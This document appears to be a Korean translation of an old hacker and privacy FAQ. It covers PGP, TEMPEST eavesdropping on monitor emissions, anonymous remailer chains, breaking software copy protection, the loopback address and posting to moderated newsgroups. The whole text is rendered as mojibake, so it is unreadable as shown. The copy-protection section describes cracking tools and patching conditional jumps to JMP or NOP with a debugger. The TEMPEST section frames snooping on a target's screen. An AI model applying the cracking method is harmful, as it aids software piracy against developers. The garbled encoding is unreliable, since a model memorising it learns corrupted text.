¾ÈÀüÇϱ⠾ÊÀº Åë·Î¸¦ ÅëÇؼ­ ¾ÈÀüÇÏ°Ô Åë½ÅÇϱâ À§Çؼ­´Â Å°ÀÇ ±³È¯ÀÌ ÇÊ¿äÇÏ´Ù. PGP´Â ±â´ÉÀÌ Àß µÇ¾î ÀÖ°í ºü¸£´Ù. º¹ÀâÇÑ Å° °ü¸®, µðÁöÅ» ¼­¸í, µ¥ÀÌÅÍ ¾ÐÃà ±×¸®°í ÈǸ¢ÇÑ Àΰ£°øÇÐÀû ¼³°èÀÌ µÇ¾î ÀÖ´Ù.

Pretty Good(tm) Privacy(PGP)´Â Phil's Pretty Good Software¿¡¼­ ¸¸µé¾úÀ¸¸ç, MS-DOS, UNIX, VAX/VMS ¿Í ¿©·¯ ÄÄÇ»ÅÍ¿¡¼­ ¼öÇàÇÑ´Ù. PGP´Â »ç¶÷µéÀÌ ÇÁ¶óÀ̹ö½ÃÀÇ º¸È£ ¹× ÀÎÁõÀ» Æí¸®ÇÏ°Ô ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. ÇÁ¶óÀ̹ö½Ã¶õ ¸Þ½ÃÁö¸¦ ¹Þ°Ô µÇ¾î ÀÖ´Â »ç¶÷¸¸ÀÌ ¸Þ½ÃÁö¸¦ ÀÐÀ» ¼ö ÀÖµµ·Ï ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÎÁõÀ̶õ ¸Þ½ÃÁö¸¦ º¸³½ »ç¶÷ÀÌ Á¤¸» ±× »ç¶÷ÀÎÁö¸¦ È®ÁõÇÏ´Â °ÍÀÌ´Ù. Æí¸®¼ºÀ̶õ ºê¶óÀ̹ö½Ã¿Í ÀÎÁõÀÌ ÀϹÝÀûÀÎ ¾Ïȣȭ ÇÁ·Î±×·¥°ú´Â ´Þ¸® Å°¸¦ °ü¸®ÇÏ´Â °ÍÀÌ ½±´Ù´Â °ÍÀÌ´Ù. »ç¿ëÀÚ °£ÀÇ Å°¸¦ ±³È¯Çϴµ¥ À־ ¾ÈÀüÇÑ Åë·Î°¡ ÇÊ¿äÇÏÁö ¾Ê´Ù. µû¶ó¼­ PGPÀ» »ç¿ëÇÏ´Â °ÍÀÌ ½±´Ù. ÀÌ°ÍÀº PGP°¡ °ø°³Å°(public key) ¾Ïȣȭ ±â¹ýÀ» »ç¿ëÇÏ°í Àֱ⠶§¹®ÀÌ´Ù.

Tempest¶õ ¹«¾ùÀΰ¡?

Tempest´Â Transient Electromagnetic Pulse Surveillance TehcnologyÀÇ ¾à¾îÀÌ´Ù.

ÄÄÇ»ÅÍ¿Í ÀüÀÚÀåºñ´Â ÁÖº¯¿¡ °£¼·À» ÇÑ´Ù. ºñµð¿À ¸ð´ÏÅÍ µÎ °³¸¦ °¡±îÀÌÇϸé ÀÌ°°Àº Çö»óÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. ¸ð´ÏÅ͸¦ ¶¼¾î ³õÀ» ¶§±îÁö ±×¸²ÀÌ Àß ¾È º¸ÀδÙ. ÄÄÇ»ÅÍ¿¡¼­ ³ª¿À´Â µðÁöÅÐ ½ÅÈ£´Â °üÂûÀÚ¿¡°Ô Áß¿äÇÑ °ÍÀÌ´Ù. ÀÌ·¯ÇÑ ÀüÆÄÀÇ ¹æÃâÀº µÎ °æ·Î°¡ ÀÖ´Ù. ¹æ»ç ¹æÃâ(radiated emission)°ú À¯µµ ¹æÃâ(conducted emission)ÀÌ´Ù. ¹æ»ç ¹æÃâÀº ÀüÀÚ ÀåÄ¡ÀÌ Á¶¸³µÇ¾î¼­ ¸¶Ä¡ ¾ÈÅ׳ª¿Í °°Àº ¿ªÇÒÀ» ÇÏ´Â °ÍÀÌ´Ù. À¯µµ ¹æÃâÀº ¹æ»ç°¡ ÄÉÀ̺íÀ̳ª ¼±¿¡ ÀÇÇؼ­ ÀüÀÚ À¯µµµÇ´Â ÇüÅÂÀÌ´Ù.

´ëºÎºÐÀÇ °æ¿ì ÀÌ·¯ÇÑ ¹æÃâÀº ´ÜÁö ±ÍÂúÀº °ÍÀÌÁö¸¸ ¸Å¿ì À¯¿ëÇÒ ¶§°¡ ÀÖ´Ù. ¸ñÇ¥¹°ÀÌ ¾î¶² ÇÁ·ÎÁ§Æ®¸¦ ÇÏ°í ÀÖ´ÂÁö ¾Ë°í ½Í´Ù°í »ý°¢ÇÏÀÚ. »ç¹«½Ç ¹Û¿¡ ÀÖ´Â ÀÚµ¿Â÷¿¡¼­ Á¤±³ÇÑ ÀüÀÚ Àåºñ¸¦ ÀÌ¿ëÇÏ¿© ¸ð´ÏÅͷκÎÅÍ ¹æÃâµÇ´Â ½ÅÈ£¸¦ ºÐ¼®ÇÏ·Á°í ÇÒ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ¹æÃâÀº ´ë°³ 55-245Mhz »çÀÌ¿¡ Á¸ÀçÇÏ°í 1ų·Î¹ÌÅÍ ¹Û¿¡¼­µµ ÀÐÀ» ¼ö ÀÖ´Ù.

°¨½Ã Àåºñ´Â ÁÖÆļöÀÇ Â÷ÀÌ¿¡ µû¶ó¼­ ÀüÆĸ¦ ¹æÃâÇÏ´Â ÀåÄ¡¸¦ ±¸ºÐÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î VDUÀÇ ±¸¼º¿ä¼Ò, VDU¸¦ Àç»ýÇϱâ À§ÇÑ »ý¼º°úÁ¤, ¶óÀÎ ½ÌÅ© µîÀ» ±¸ºÐÇÒ ¼ö ÀÖ´Ù. raster(·¡½ºÅÍ) ½ÅÈ£À» ÀÏÄ¡½ÃÅ´À¸·Î ¼öµ¿ÀûÀÌ°í ½Ç½Ã°£À¸·Î È­¸éÀ» ±¸¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ±â¼úÀº Á¤ºÎ ±â°üÀÌ ¾Æ´Ï¶ó ´©±¸¶óµµ ¾òÀ» ¼ö ÀÖ´Â °ÍÀÌ´Ù.

¸ñÇ¥¿¡¼­´Â ÀüÀÚÀÇ ¹æÃâÀ» ¸·À» ¼ö ÀÖ´Ù. ¶Ç´Â ¹æÃâÀÌ ¸Å¿ì ³·Àº Àåºñ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. Tempest ÀÎÁõÀº Á¤ºÎ ¹®¼­ÀÎ NACSIM 5100A(ºñ¹Ð)ÀÇ ±ÔÁ¤À» Åë°úÇÑ °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ ¹®¼­´Â ó¸® ÁßÀÎ Á¤º¸¸¦ ¹æÃâÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Â ¼öÁØÀ» Á¤ÇØ ³õ¾Ò´Ù.


À͸í ÀçÀü¼Û ¸ÞÀÏ(anonymous remailer)À̶õ ¹«¾ùÀΰ¡?

ÀÌ FAQ´Â Raph Levien¿¡ ÀÇÇØ ÀÛ¼ºµÈ °ÍÀÌ´Ù.

À͸í ÀçÀü¼Û ¸ÞÀÏ(Anonymous remailer)´Â ÀÎÅÍ³Ý »óÀÇ ½Ã½ºÅÛÀ¸·Î Usenet¿¡ ¸Þ½ÃÁö¸¦ À͸íÀ¸·Î º¸³¾ ¼ö ÀÖµµ·Ï ÇÏ´Â °ÍÀÌ´Ù.

³Î¸® »ç¿ëµÇ´Â À͸í ÀçÀü¼Û ¸ÞÀÏÀº µÎ °¡Áö°¡ ÀÖ´Ù. ù°ÀÇ °ÍÀÌ anon.penet.fi ÇüÀÌ´Ù. µÎ ¹ø°´Â cypherpunk ÇüÀÌ´Ù. anon.penet.fi¿¡ ÀÖ´Â ÇüÅÂÀÇ °ÍÀº ¸Å¿ì ÀαⰡ ÀÖ´Ù. 160,000¸í ÀÌ»óÀÇ »ç¿ëÀÚ°¡ ÀÌ¿ëÇß´Ù. ¾à ¼ö¸¸¸íÀÇ ÀÌ¿ëÀÚ°¡ ³¯¸¶´Ù ÀÌ¿ëÇÏ°í ÀÖ´Â °ÍÀ¸·Î »ý°¢µÈ´Ù. ÀÌ°ÍÀÇ Å« ÀåÁ¡Àº »ç¿ëÇϱ⠽±´Ù´Â °ÍÀÌ´Ù. cypherpunk ¸ÞÀÏ·¯´Â º¸¾È¼ºÀÌ ÁÁ¾Æ¼­ ÀαⰡ ³ô¾Æ°¡°í ÀÖ´Ù.

anon.penet.fi ½Ã½ºÅÛÀº »ç¿ëÀÚ´Â À͸í id¸¦ ¾ò¾î¾ß ÇÑ´Ù. ÀÌ¹Ì Çϳª °¡Áö°í ÀÖ´Â »ç¶÷¿¡°Ô ¸ÞÀÏÀ» º¸³»°Å³ª, [email protected]¿¡ ¸ÞÀÏÀ» º¸³»¸é µÈ´Ù. °¢°¢ÀÇ °æ¿ì¿¡ penetÀº »õ·Î¿î À͸í id¸¦ º¸³» ÁØ´Ù. ¿¹¸¦ µé¾î [email protected]¿Í °°´Ù. an123456Àº ½Ã½ºÅÛÀÇ ´Ù¸¥ »ç¿ëÀÚ¿¡°Ô ¸ÞÀÏÀ» º¸³½´Ù. ´ÙÀ½°ú °°Àº ÀÏÀÌ ÀϾ´Ù.

1. ¸ÞÀÏÀº anon.penet.fi·Î Àü¼ÛµÇ¾î FinlandÀÇ Espoo ±Ùó¿¡ ÀÖ°Ô µÈ´Ù.

2. ÀÌ ´Ü°è´Â anon.penet.fi¿¡¼­ ¼öÇàÇÏ´Â ¼ÒÇÁÆ®¿þ¾î¿¡ ÀÇÇÑ´Ù. PenetÀº ¼Û½ÅÀÚÀÇ email ÁÖ¼Ò¸¦ µ¥ÀÌÅͺ£À̽º¿¡¼­ °Ë»öÇÏ°í ¼ýÀÚ ÄÚµå·Î ±×°ÍÀ» ´ëÄ¡ÇÑ´Ù. À̸¦ Á¦¿ÜÇÑ ¼Û½ÅÀÚ¿¡ ´ëÇÑ ¸ðµç Á¤º¸´Â »èÁ¦µÈ´Ù.

3. ±×¸®°í ³ª¼­ penetÀº °°Àº µ¥ÀÌÅͺ£À̽º¿¡ ÀÖ´Â ¼ö½ÅÀÚÀÇ ¹øÈ£¸¦ °Ë»öÇÑ´Ù. ±×¸®°í ½ÇÁ¦ÀÇ email ÁÖ¼Ò·Î ´ëÄ¡ÇÑ´Ù.

4. ¸¶Áö¸·À¸·Î emailÀ» ¼ö½ÅÀÚÀÇ ½ÇÁ¦ ÁÖ¼Ò·Î º¸³½´Ù.

ÀÌ·¯ÇÑ ¹æ½Ä¿¡´Â Usenet¿¡ Æ÷½ºÆÃÇÏ´Â °Í°ú °°Àº ´Ù¸¥ º¯ÇüÀÌ ÀÖÀ» ¼ö ÀÖ´Ù.(ÀÌ °æ¿ì ´Ü°è 3ÀÌ Á¦¿ÜµÈ´Ù.) ±×·¯³ª, ¾ÕÀÇ ´Ü°èµéÀÌ ±âº»ÀûÀÎ »ý°¢ÀÌ´Ù.

anon.penet.fi°¡ email ÁÖ¼Ò¿Í anonÀÇ id¸¦ ºñ±³ÇÒ ¶§, ºñ¹Ð µ¥ÀÌÅͺ£À̽º¸¦ »ç¿ëÇÏ´Â ¹Ý¸é¿¡ cypherpunksÀÇ ÀçÀü¼Û¸ÞÀÏÀº ½ÇÁ¦ ÀÚ½ÅÀ» ¼û±â±â À§Çؼ­ ¾ÏÈ£±â¹ýÀ» ÀÌ¿ëÇÑ´Ù. ½ÇÁ¦ email ÁÖ¼ÒÀ¸·Î ÀÚ½ÅÀÇ ½ÇÁ¦ ½ÅºÐÀ» ¼û±â°í emailÀ» º¸³»°Å³ª Usenet¿¡ Æ÷½ºÆÃÀ» ÇÏ·Á°í ÇÑ´Ù°í °¡Á¤ÇÏÀÚ.

Àç¼±¼Û¸ÞÀÏ·¯¸¦ ÅëÇؼ­ º¸³»±â À§Çؼ­ ´ÙÀ½°ú °°Àº ÀÏÀÌ ÀϾ´Ù.

1. ¸Þ½ÃÁö¿Í ¼ö½ÅÀÚÀÇ ÁÖ¼Ò¸¦ ¾ÏȣȭÇÑ´Ù. ÀÌ ¶§ Å°´Â ÀçÀü¼Û¸ÞÀÏ·¯°¡ ¼±ÅÃÇÑ °ø°³Å°¸¦ ÀÌ¿ëÇÑ´Ù.

2. emailÀ» ÀçÀü¼Û¸ÞÀÏ·¯¿¡ º¸³½´Ù.

3. ÀçÀü¼Û¸ÞÀÏ·¯°¡ ¸ÞÀÏÀ» ¹ÞÀ» ¶§, ºñ¹ÐÅ°¸¦ ÀÌ¿ëÇÏ¿© º¹È£È­ÇÑ´Ù. Æò¹®ÀÌ ¸Þ½ÃÁö¿Í ¼ö½ÅÀÚÀÇ ÁÖ¼Ò°¡ ³ªÅ¸³­´Ù.

4. ¼Û½ÅÀÚ¿¡ ´ëÇÑ ¸ðµç Á¤º¸°¡ »èÁ¦µÈ´Ù.

5. ¸¶Áö¸·À¸·Î ¼Û½ÅÀÚÀÇ ÁÖ¼Ò·Î emailÀ» º¸³½´Ù.

ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ °ü¸®ÀÚ¸¦ ¹Ï´Â´Ù¸é ÀÌ°ÍÀº ²Ï ±¦ÂúÀº ÆíÀÌ´Ù. ±×·¯³ª, cypherpunksÀÇ ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ ÀüüÀûÀÎ Á¡Àº ¾î¶² °³ÀÎÀ̳ª ½Ã½ºÅÛµµ ¹ÏÀ» ÇÊ¿ä°¡ ¾ø´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­, Á¤¸»·Î º¸¾ÈÀ» ¿øÇÏ´Â »ç¶÷µéÀº ÀçÀü¼Û¸ÞÀÏ·¯¸¦ ¿¬¼âÀûÀ¸·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¸¸ÀÏ ÀÌ·¯ÇÑ ¿¬°á ÁßÀÇ ÀçÀü¼Û¸ÞÀÏ·¯°¡ Á¤Á÷ÇÑ °ÍÀ̶ó¸é ¸Þ½ÃÁöÀÇ ÇÁ¶óÀ̹ö½Ã°¡ º¸ÀåµÈ´Ù.

¿¬¼âÀûÀÎ ÀçÀü¼Û¸ÞÀÏ·¯¸¦ »ç¿ëÇϱâ À§Çؼ­ ¸ÕÀú ·¯½Ã¾ÆÀÇ ¸ÅÆ®·á½ÃÄ« ÀÎÇü(¾çÆÄ)ó·³ ¿©·¯ ÃþÀ¸À¸·Î ¸Þ½ÃÁö¸¦ ¾ÏȣȭÇÑ´Ù. ÀÌ·¯ÇÑ ¸Þ½ÃÁö¸¦ ÁغñÇÏ´Â °ÍÀº Áö·çÇÏ°í ½Ç¼ö°¡ ÀϾ ¼ÒÁö°¡ ¸¹À¸¹ÇÀ¸·Î »ç¶÷µéÀº ÀÚµ¿È­µÈ µµ±¸(premail package¿Í °°Àº)¸¦ ÀÌ¿ëÇÑ´Ù. ¾î·´ø ¸Þ½ÃÁö¸¦ ÁغñÇÏ°í ³ª¼­, ù ¹ø° ¼ö½Å ÀçÀü¼Û¸ÞÀÏ·¯¿¡ º¸³½´Ù. ÀÌ°ÍÀº ¾ÏȣȭÀÇ °¡Àå ¹Ù±ùÂÊ¿¡ ÀÖ´Â °Í°ú ´ëÀÀµÈ´Ù.

°¢ ÀçÀü¼Û¸ÞÀÏ·¯´Â ¾ÏȣȭµÈ ÃþÀ» Çϳª¾¿ ¹þ°Ü¼­ ´ÙÀ½ °÷À¸·Î º¸³»¾î ÃÖÁ¾ ÀçÀü¼Û¸ÞÀÏ·¯¿¡ µµÂøÇÏ°Ô µÈ´Ù. ÀÌ ¶§, °¡Àå ¾È ÂÊÀÇ ¾ÏȣȭµÈ ¸Þ½ÃÁö¸¸ ³²´Â´Ù. ÀÌ°ÍÀÌ Ç®¸®¸é Æò¹®°ú ¼ö½ÅÀÚÀÇ ÁÖ¼ÒÀÌ ³ªÅ¸³­´Ù. ÀÌ ¶§ ¸Þ½ÃÁö´Â ½ÇÁ¦ ¼ö½ÅÀÚ¿¡°Ô º¸³»Áø´Ù.

ÀçÀü¼Û¸ÞÀÏÀº ¸¹Àº Áö¿ª¿¡ À§Ä¡ÇÑ´Ù. ÀÏ»óÀûÀÎ ¸Þ½ÃÁö´Â ¸ñÀûÁö¿¡ µµÂøÇϱâ Àü¿¡ ij³ª´Ù, ³×µ¨¶õµå, Berkeley´ëÇÐ ±×¸®°í ÇɶõµåÀ» Áö³ª°Ô µÈ´Ù.

¾ÏȣȭµÈ ¸Þ½ÃÁö¸¦ ÁغñÇؾßÇÏ´Â ¾î·Á¿ò°ú ´õºÒ¾î, cypherphunkÀÇ ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ ¶Ç ´Ù¸¥ ´ÜÁ¡Àº anonymous mail¿¡ ´ëÇÑ ÀÀ´äÀÌ ½±°Ô ¿ÀÁö ¾Ê´Â´Ù´Â °ÍÀÌ´Ù. ¼Û½ÅÀÚ ÃøÀÇ ¸ðµç Á¤º¸°¡ »ç¶óÁø´Ù. ±×·¸Áö¸¸ »õ·Î¿î ¿¡Àϸ®¾î½º ¼­¹ö°¡ ±×°ÍÀ» º¯°æÇÏ·Á°í ÇÑ´Ù. ¿¡Àϸ®¾î½º ¼­¹ö¸¦ ÀÌ¿ëÇÏ·Á°í Çϸé, »õ·Î¿î email ÁÖ¼Ò¸¦ ¸¸µé¾î¾ß ÇÑ´Ù(³»°ÍÀº [email protected]ÀÌ´Ù.) ÀÌ »õ ÁÖ¼Ò·Î º¸³»Áø ¸ÞÀÏÀº ±× »ç¶÷ÀÇ ½ÇÁ¦ ÁÖ¼Ò·Î º¸³»Áö¸ç ±× °úÁ¤Àº ¾Ë ¼ö ¾ø°Ô µÈ´Ù.

ÀÌ°ÍÀ» ÇØ°áÇϱâ À§ÇØ, ¸ÕÀú email ÁÖ¼Ò¸¦ ¿©·¯ ÃþÀ¸·Î ¾Ïȣȭ¸¦ ÇÑ´Ù. ±×¸®°í³ª¼­ ¾ÏȣȭµÈ Åë·ÎÀ» ÅëÇؼ­, »ç¿ëÇÏ°íÀÚ ÇÏ´Â nickname°ú ÇÔ²² ¾ÏȣȭµÈ ÁÖ¼Ò¸¦ ¿¡Àϸ®¾î½º ¼­¹ö¿¡ º¸³½´Ù. ¿¡Àϸ®¾î½º ¼­¹ö´Â ¾ÏȣȭµÈ ÁÖ¼Ò¸¦ µ¥ÀÌÅͺ£À̽º¿¡ µî·ÏÇÑ´Ù. ¿¡Àϸ®¾î½º ¼­¹ö´Â ÀÀ´ä ¸ÞÀÏÀ» anon.penet.fi¿Í °°Àº ¹æ½ÃÀ¸·Î ó¸®Çϴµ¥ À͸í ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ ¿¬¼â¸¦ ÅëÇؼ­ Àü´ÞÇÑ´Ù´Â °ÍÀÌ ´Ù¸£´Ù.

ÃÖ´ëÀÇ º¸¾ÈÀ» Çϱâ À§Çؼ­, »ç¿ëÀÚ´Â »ç¿ëÀÚ´Â ¿¬¼âÀÇ ÀçÀü¼Û¸ÞÀÏ·¯°¡ emailÁÖ¼Ò¿¡¼­ ÇÑ ¾Ïȣȭ ÃþÀ» Á¦°ÅÇÒ ¶§ ¶Ç ´Ù¸¥ ÃþÀÇ ¾Ïȣȭ¸¦ Ãß°¡ÇÒ ¼ö ÀÖ´Ù. »ç¿ëÀÚ°¡ ÃÖÁ¾ÀûÀ¸·Î emailÀ» ¾òÀ» °æ¿ì, ´ÙÃþÀÇ ¾Ïȣȭ°¡ µÇ¾î ÀÖ´Ù. ¸ÅÆ®·á½ÃÄ« ÀÎÇüÀº ÇÑ ¹ø¿¡ Çϳª¾¿ ²¨³»¾î ¸¶Áö¸· Æò¹® ¸Þ½ÃÁö°¡ µå·¯³ªµµ·Ï ÇÑ´Ù.

¸¶Áö¸·À¸·Î »ý°¢ÇÒ Á¡Àº ÀçÀü¼Û¸ÞÀÏ·¯µéÀÌ ¸ðµÎ ¾ÈÁ¤ÀûÀ̾î¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. ÀÌ°ÍÀº ƯÈ÷ ¿¬¼âÀûÀÎ ÀçÀü¼Û¸ÞÀÏ·¯¸¦ ÀÌ¿ëÇßÀ» °æ¿ì¿¡ ±×·¸´Ù. -- Çϳª¶óµµ Á¦´ë·Î µ¿ÀÛÇÏÁö ¾Ê´Â °ÍÀÌ ÀÖ´Ù¸é ¸Þ½ÃÁö´Â ¾ø¾îÁö°Ô µÈ´Ù. ÀÌ°ÍÀº ¿Ö ÇÊÀÚ°¡ ¾ÈÁ¤ÀûÀÎ ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ ¸ñ·ÏÀ» À¯ÁöÇÏ°í ÀÖ´ÂÁöÀÇ ÀÌÀ¯ÀÌ´Ù. ¾ÈÁ¤ÀûÀÎ Á¦Àü¼Û¸ÞÀÏ·¯¸¦ ¼±ÅÃÇÏ¸é ¸Þ½ÃÁö°¡ ¿øÇÏ´Â °÷¿¡ µµÂøÇÒ È®·üÀÌ ¸Å¿ì ³ô´Ù.


À͸í ÀçÀü¼Û ¸ÞÀÏÀº ¾îµð¿¡ ÀÖ³ª?

°¡Àå ÀαâÁÁ°í ¾ÈÁ¤ÀûÀÎ À͸í ÀçÁ¤¼Û¸ÞÀÏ·¯´Â anon.penet.fiÀ̸ç Johan Helsingus¿¡ ÀÇÇØ ¿î¿µµÇ°í ÀÖ´Ù. À͸í ID¸¦ ¾òÀ»·Á¸é [email protected]·Î ¸ÞÀÏÀ» º¸³»±â ¹Ù¶õ´Ù.

[email protected]ÀÇ ¼­¹ö´Â ½ÇÁ¦ ¸ÞÀÏÀÌ Àü¼ÛµÇ¾î ¿Â °÷ÀÇ ¾î¶² Á¤º¸¶óµµ Áö¿ì±â À§ÇØ ÃÖ¼±À» ´ÙÇÑ´Ù. ÀÚ½ÅÀ» µå·¯³¾ ¼ö ÀÖ´Â Á¤º¸°¡ ±×·¯ÇÑ ¸Þ½ÃÁö¿¡ Æ÷ÇÔµÇÁö ¾Êµµ·Ï ³ë·ÂÇÑ´Ù. ¸Þ½ÃÁö¸¦ ´ÙÀ½°ú °°Àº ÁÖ¼Ò·Î º¸³½´Ù.

[email protected]

ÀÌÁ¦ ÀÚ½ÅÀ» Æ÷ÇÔÇÑ ´Ù¸¥ ÀÍ¸í »ç¿ëÀÚÀÇ email ¸Þ½ÃÁöÀÇ ¼Û½ÅÁö°¡ anon.penet.fi°¡ µÈ´Ù.

[email protected]

ÀÍ¸í ¸Þ½ÃÁö¸¦ Àüü Usenet ±×·ì¿¡ Æ÷½ºÆÃÇÑ´Ù°í ÇÏÀÚ. ÀÌ °æ¿ì¿¡´Â (Çɶõµå¿¡ ÀÖ´Â)local site¿¡ ÀÖ´Â alt.security·Î ÇÑ´Ù°í ÇÏÀÚ.

[email protected]

¸¸ÀÏ ÀÌ ÁÖ¼Ò·Î ¸ÞÀÏÀ» º¸³»¸é ½ÅºÐ(identity)ÀÌ Çϳª ÇÒ´çµÈ´Ù.(ÀÌ¹Ì °¡Áö°í ÀÖÁö ¾Ê´Ù°í °¡Á¤ÇÑ´Ù.) ¿©±â¼­ ÀÚ½ÅÀÇ ½ÅºÐÀ» È®ÀÎÇصµ µÈ´Ù.

ÀÚ½ÅÀÇ Æнº¿öµå¸¦ ¼³Á¤ÇÒ ¼öµµ ÀÖ´Ù. ÀÌ Æнº¿öµå´Â ÀÚ½ÅÀÌ º¸³»°Ô µÉ ¸Þ½ÃÁö¸¦ ÀÎÁõÇÑ´Ù. ÀÌ Æнº¿öµå´Â Àü¼ÛÇÒ ¸Þ½ÃÁö¿¡ Æ÷ÇÔÇÑ´Ù. Æнº¿öµå¸¦ ¼³Á¤Çϱâ À§Çؼ­ [email protected]·Î º»¹®¿¡ Æнº¿öµå¸¦ Æ÷ÇÔÇÏ¿© ¸ÞÀÏÀ» º¸³½´Ù. ¿¹¸¦ µé¾î

To: [email protected]

Subject:

TN0_rUlEz

´õ ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§ÇØ ´ÙÀ½À¸·Î ¸ÞÀÏÀ» º¸³½´Ù.

[email protected]

À͸í Usenet Æ÷½ºÆÃÀº ±×µéÀÇ ÀÇ°ßÀº °¡Ä¡°¡ ¾ø´Ù°í ÁÖÀåÇÏ´Â ´Ù¸¥ Usenet ±×·ìÀÇ »ç¿ëÀÚ¿¡ ÀÇÇؼ­ Àü´ÞµÈ´Ù. ÀÌ°ÍÀº ±×µéÀÌ ÀÍ¸í¼ºÀÌ ´Ù¸¥ »ç¶÷ÀÇ °ø°ÝÀ» ¸·¾ÆÁÖ±â À§ÇØ »ç¿ëµÇ°í ´Ù¸¥ ÇÑÆíÀ¸·Î »çȸÀûÀÎ Æí°ßÀ¸·ÎºÎÅÍ ÀÚ½ÅÀ» º¸È£Çϱâ À§ÇÑ °ÍÀ̶ó°í ¹Ï±â ¶§¹®ÀÌ´Ù. (»ç¶÷µéÀÌ ÀÚ½ÅÀÇ ÀÇ°ßÀ» »ó°ü¿¡°Ô °³ÁøÇÒ ¶§) ¶ÇÇÑ ÀÌ°ÍÀ» °ø±Ç·Â¿¡ ´ëÇØ ÀÚ½ÅÀÇ ½ÅºÐÀ» ¼û±â´Â µµ±¸·Î »ý°¢ÇÏ°í ÀÖ´Ù¸é ´Ù½Ã ÇÑ ¹ø ´õ °í·Á¸¦ ÇØ º¸¶ó. ¿Ö³ÄÇϸé Æǻ簡 ¼­¹öÀÇ °ü¸®Áö¿¡°Ô Æ÷½ºÆÃÇÑ »ç¶÷ÀÇ ½ÅºÐÀ» ¹àÈú °ÍÀ» ¸í·ÉÇÑ À¯¸íÇÑ ÆÇ·Ê°¡ Àֱ⠶§¹®ÀÌ´Ù.

À͸í ÀçÀü¼Û¸ÞÀÏ·¯ÀÇ ¸ñ·ÏÀ» º¸°í ½Í´Ù¸é finger [email protected]¸¦ Çϰųª À¥ ºê¶ó¿ìÀú¸¦ ÀÌ¿ëÇÏ¿© http://www.cs.berkeley.edu/~raph/remailer-list.html¸¦ º¸±â ¹Ù¶õ´Ù.


º¹»ç ¹æÁö¸¦ ¾î¶»°Ô ±ú³ª?

º¹»ç¹æÁö¸¦ ±ú±âÀ§ÇÑ µÎ°¡Áö ÈçÇÑ ¹æ¹ýÀÌ ÀÖ´Ù. ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© º¹»ç¹æÁö¸¦ Á¦°ÅÇÏ´Â °ÍÀÌ Ã¹ ¹ø°ÀÌ´Ù. Àαâ ÀÖ´Â ÇÁ·Î±×·¥À¸·Î Central Point SoftwareÀÇ CopyIIPC¿Í Quaid SoftwareÀÇ CopyWriteÀÌ ÀÖ´Ù. µÎ ¹ø° ¹æ¹ýÀº º¹»ç ¹æÁö ÇÁ·Î±×·¥À» ÆÐÄ¡ÇÏ´Â °ÍÀÌ´Ù. Àαâ ÀÖ´Â ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇÑ ¸¸µé¾îÁø ÆÐÄ¡¸¦ ±¸ÇÒ ¼ö ÀÖ´Ù. hex ÆíÁý±â¸¦ ÀÌ¿ëÇÏ¿© ÆÐÄ¡¸¦ ÇÑ´Ù. Æи¦ ±¸ÇÒ ¼ö ¾ø´Ù¸é È¥ÀÚ¼­ ÆÐÄ¡¸¦ ÇØ¾ß ÇÑ´Ù.

ÆÐÄ¡¸¦ Çϱâ À§Çؼ­´Â µð¹ö°Å°¡ ÀÖ¾î¾ß ÇÑ´Ù. Soft-Ice³ª Sourcer°°Àº °ÍµéÀÌ ÀÖ´Ù. ¾î¼Àºí¸® ¾ð¾î¿¡ ´ëÇÑ ¾à°£ÀÇ Áö½Äµµ ÇÊ¿äÇÏ´Ù. µð¹ö°Å¿¡¼­ º¹»ç¹æÁö ÇÁ·Î±×·¥À» Àо º¹»ç ¹æÁö ±â¹ýÀ» ¾Ë¾Æ³½´Ù. À§Ä¡¸¦ ã¾Æ³»¸é Äڵ带 º¯°æÇÑ´Ù. Äڵ带 JE¿Í °°Àº °æ¿ì JNE³ª JMP·Î ¹Ù²Ü ¼ö ÀÖ´Ù. ¾Æ´Ï¸é NOP ¸í·ÉÀ¸·Î ¹Ù²Ü ¼ö ÀÖ´Ù.


127.0.0.1Àº ¹«¾ùÀΰ¡?

127.0.0.1Àº ³×Æ®¿öÅ© Á¢¼ÓÀÇ ·çÇÁ¹é(loopback)ÀÌ´Ù. telnet, ftp¸¦ Çϸé ÀÚ½ÅÀÇ ±â°è·Î Á¢¼ÓÇÑ´Ù.

°ü¸®ÀÚ ÀÖ´Â ´º½º±×·ì(moderated newsgroup)¿¡ ¾î¶»°Ô Æ÷½ºÆÃÀ» Çϳª?

Usenet ¸Þ½ÃÁö´Â ¸Þ½ÃÁö Çì´õ¿Í ¸Þ½ÃÁö º¸µð°¡ ÀÖ´Ù. ¸Þ½ÃÁö Çì´õ´Â ´º½º ¼ÒÇÁÆ®¿þ¾î(reader)°¡ ¸Þ½ÃÁö¸¦ ¾î¶»°Ô ó¸®ÇÒ Áö ¾Ë·ÁÁØ´Ù. Çì´õ´Â µÎ ºÎ·ù·Î ³ª´¶´Ù. °¢°¢ ÇÊ¿äÇÑ °Í°ú ¿É¼ÇÀÎ °ÍÀÌ´Ù. ÇÊ¿äÇÑ Çì´õ´Â "from"°ú "Newsgrups"°ú °°Àº °ÍÀÌ´Ù. ÇÊ¿äÇÑ Çì´õ¾øÀÌ ¸Þ½ÃÁö´Â Á¦´ë·Î Æ÷½ºÆõÇÁö ¾Ê´Â´Ù.

